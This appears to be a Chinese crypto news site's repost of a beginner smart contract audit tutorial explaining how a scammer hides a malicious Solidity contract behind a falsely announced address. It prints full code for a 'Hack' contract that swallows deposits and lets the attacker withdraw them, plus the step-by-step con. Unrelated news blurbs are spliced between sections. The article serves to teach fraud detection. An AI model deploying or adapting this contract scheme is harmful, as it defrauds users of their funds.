月亮链 月亮链
Ctrl+D收藏月亮链

MAKE:智能合约安全审计入门篇 —— 移花接木_ULT

作者:

时间:1900/1/1 0:00:00

概述

上期我们了解了利用tx.origin进行钓鱼的攻击手法,本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。

前置知识

大家还记得之前几期部署攻击合约时我们会传入目标合约的地址,在攻击合约中就可以调用目标合约中的函数吗,有些攻击者会利用这一点受害者。比如部署一个A合约并告诉受害者我们会在部署A合约的构造函数中传入B合约的地址并将B合约开源,其实我们会在部署A合约时传入C合约的地址,如果受害者完全信任我们没有检查部署A合约的那笔交易,我们就完美的将恶意代码隐藏在了C合约中。我们可以从下图来理解这个逻辑:

以太坊技术服务商OpenZeppelin发布Optimism智能合约审计报告:11月25日消息,以太坊技术服务商OpenZeppelin发布Optimism智能合约审计报告。从2021年3月15日开始,OpenZeppelin在7周的时间里与3位审计师一起审计了Optimism的代码库,共发现4个严重和4个高度严重的问题,并提出修改建议以减少代码的攻击面和提高其整体质量。[2021/11/25 7:10:43]

用户以为的调用路径:

部署合约A传入合约B地址,这样调用路径为正常路径。

实际的调用路径:

部署合约A传入合约C地址,这样调用路径为非正常路径。

下面我们使用一个简单的例子来分析这个局:

恶意代码

//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}

元界DNA开发团队正在部署自定义智能合约:据元界官方推特消息,元界技术开发团队正在Substrate平台上实施智能合约。目前,开发团队已经确定并正在测试可行的技术解决方案,以部署自定义智能合约。与此前的所有重大技术更新一样,元界DNA始终以终端用户的体验为先,并致力于建立一个对用户安全、友好、流畅的公链项目。[2020/12/15 15:14:19]

局分析

可以看到,上述代码中存在三个合约,我们先结合前置知识中的A,B,C三个角色来区分三个合约分别代表什么角色:

MoneyMaker合约代表A合约;

Vault合约代表B合约;

Hack合约代表C合约。

所以用户以为的调用路径为:

MoneyMaker->Vault。

而实际的调用路径为:

MoneyMaker->Hack。

下面我们来看看攻击者如何完成局的:

动态 | 腾讯《区块链智能合约安全技术要求》标准获CCSA TC8立项:11月22日,由中国通信标准化协会主办、深圳市腾讯计算机系统有限公司承办的网络与信息安全技术工作委员会(CCSA TC8)第二十六次全会在广州市顺利落幕。腾讯公司在云服务和区块链两大领域提出的《云客户信息安全管理体系评估指南》和《区块链智能合约安全技术要求》两项标准在会上成功立项,助力互联网信息安全标准化体系的建立健全,为产业互联网的安全发展提供新的保障。[2019/11/23]

1.Evil部署Vault(B)合约并在合约中留存100ETH资金,在链上将Vault(B)合约开源;

2.Evil部署Hack(C)恶意合约;

3.Evil放出消息说他将会部署一个开源的赚钱MoneyMaker(A)合约,部署时会将Vault(B)合约地址传入且会调用Vault.setMacker()将maker角色设置为MoneyMaker合约地址,任何人调用MoneyMaker.makeMoney()向合约中打入不少于一个以太都会得到双倍以太的回报;

动态 | 点对点交易平台Hodl Hodl计划于明年开源其智能合约代码:点对点比特币交易平台Hodl Hodl周六宣布将对其软件进行开源,届时任何人都可以推出自己的点对点交易平台。该计划在一定程度上确认了一个事实,即Hodl Hodl的商业模式容易受到监管机构的打压。Hodl Hodl首席执行官Max Keydun表示:“历史告诉我们,如果一个政府想要关闭你,它真的会这么做。”Keydun解释说,开源智能合约的代码是一种应对威胁的方法,Hodl Hodl打算明年开启该开源计划。目前非洲、亚洲和拉丁美洲的相关方已向该公司寻求合作机会。[2019/9/14]

4.Bob收到消息,了解到MoneyMaker合约的存在,他看了MoneyMaker(A)和Vault(B)合约的代码并检查了Vault(B)合约中的余额发现逻辑确实如Evil说的那样,他在没有检查MoneyMaker(A)部署交易的情况下就相信了Evil;

5.Bob调用MoneyMaker.makeMoney()向合约中打入自己全部身家20ETH,在他满怀期待等着收到Vault(B)打来的40ETH时等来的却是一句"Haha,youretherismine!"。

声音 | 研究:基于以太坊的智能合约存在漏洞:据cryptoglobe报道,美国马里兰大学和东北大学的研究人员最近分析了基于以太坊的智能合约。研究人员发现,来自字节码的数据显示“在以太坊上有极高的代码重用和代码相似性。”虽然重用代码是一种非常常见的做法,因为有常规程序的模板,“高级代码重用”表明某些合同中发现潜在错误,安全漏洞也可能影响成千上万的类似合同重用了他们的代码。[2018/11/3]

咋回事呢?其实这个局非常简单但是很常见。Evil在部署MoneyMaker合约时传入的并不是Vault合约的地址,而是传入了Hack合约的地址。所以当Bob调用MoneyMaker.makeMoney()时并不会像他想像中的那样MoneyMaker.makeMoney()去调用Vault.transfer()回打给他双倍的以太,而是调用了Hack.transfer()抛出了一个事件:"Haha,youretherismine!"。最后Evil调用Vault.withrow()将Vault合约中的100ETH转出,并通过Hack.withrow()将Bob转入的20ETH转出。

预防建议

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的话术,交易记录不会造假,只有自己验证了对应的那笔交易后才能相信对方说的话是对的。

标签:MAKEMakerVAULTULTmakeupchainmakerdao怎么读VAULTSZKVAULT

芝麻开门交易所下载热门资讯
USD:业内人士:内地银行或以港币为桥梁,试水加密货币交易_USDT

据华夏时报网消息,11月25日,一家国内中资银行巨头金融科技部门的负责人在接受采访时表示,国内对于法币与加密货币之间的交易已经做过很多研究,确实就银行业本身而言,伴随着加密货币交易规模越来越大.

1900/1/1 0:00:00
区块链:新能源趋势下结合区块链技术的分布式微电网应用前景分析_清洁能源

从今年开始,国家开始大力发展清洁能源,大量风电和太阳能发电项目开始上马,同时电力远距离传输问题也成为目前需要解决的难题.

1900/1/1 0:00:00
稳定币:BIS报告:稳定币和CBDC可能在新兴市场和发展中国家造成风险_数字货币交易app哪个好用

据CoinDesk10月30日消息,许多新兴市场和发展中经济体一直在寻求通过稳定币和央行数字货币解决其金融系统的弱点.

1900/1/1 0:00:00
GOS:GoSats在印度推出比特币返现奖励卡_algo币还会涨吗

据Cointelegraph8月16日消息,比特币奖励公司GoSats已经为印度的客户推出了一个新的返现奖励卡,可能为数字资产在世界第二大人口大国的更广泛的主流应用创造条件.

1900/1/1 0:00:00
DAO:FWB联合创始人:以SubDAO为例,谈DAO的进化与未来_SUBS币

原文作者:CooperTurley,FWB联合创始人原文编译:0x22D,律动BlockBeats原标题:《FWB联创:DAO的进化与未来》DAO是一个拥有共享银行账户和股权结构表的网络社区.

1900/1/1 0:00:00
ISC:zkEVM VS zkVM:一字之差 天壤之别_LYG

作者:RISCZero高级工程师ErikKaneda;编译:Maxlion前言本文将对比zkEVM和zkVM在技术上的差异,并介绍RISCZerozkVM及其即将推出的Bonsai网络.

1900/1/1 0:00:00